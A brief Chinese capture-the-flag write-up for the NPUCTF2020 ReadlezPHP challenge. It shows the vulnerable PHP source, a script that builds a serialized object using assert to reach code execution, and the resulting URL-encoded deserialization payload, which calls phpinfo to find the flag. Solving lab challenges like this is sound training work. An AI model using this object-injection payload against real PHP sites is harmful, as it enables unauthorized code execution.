[NPUCTF2020]ReadlezPHP -wp

查看一下源码（可以f12，也可以在页面边缘右键）

发现源代码

<?php
#error_reporting(0);
class HelloPhp
{
    public $a;
    public $b;
    public function __construct(){
        $this->a = "Y-m-d h:i:s";
        $this->b = "date";
    }
    public function __destruct(){
        $a = $this->a;
        $b = $this->b;
        echo $b($a);
    }
}
$c = new HelloPhp;

if(isset($_GET['source']))
{
    highlight_file(__FILE__);
    die(0);
}

@$ppp = unserialize($_GET["data"]);

一个反序列
很明显$b($a)这里可供我们操作。
system好像被禁了，用assert（）
序列化一下

<?php
class HelloPhp
{
    public $a;
    public $b;
    public function __construct(){
        $this->a = "phpinfo()";
        $this->b = "assert";
   
}
}
$c = new HelloPhp();

echo urlencode(serialize($c));

?>

O%3A8%3A%22HelloPhp%22%3A2%3A%7Bs%3A1%3A%22a%22%3Bs%3A9%3A%22phpinfo%28%29%22%3Bs%3A1%3A%22b%22%3Bs%3A6%3A%22assert%22%3B%7D

data传参
发现没问题
一开始还想着传一句话，但发现连接不上
后面才知道flag就在phpinfo页面
Ctrl+f查找flag即可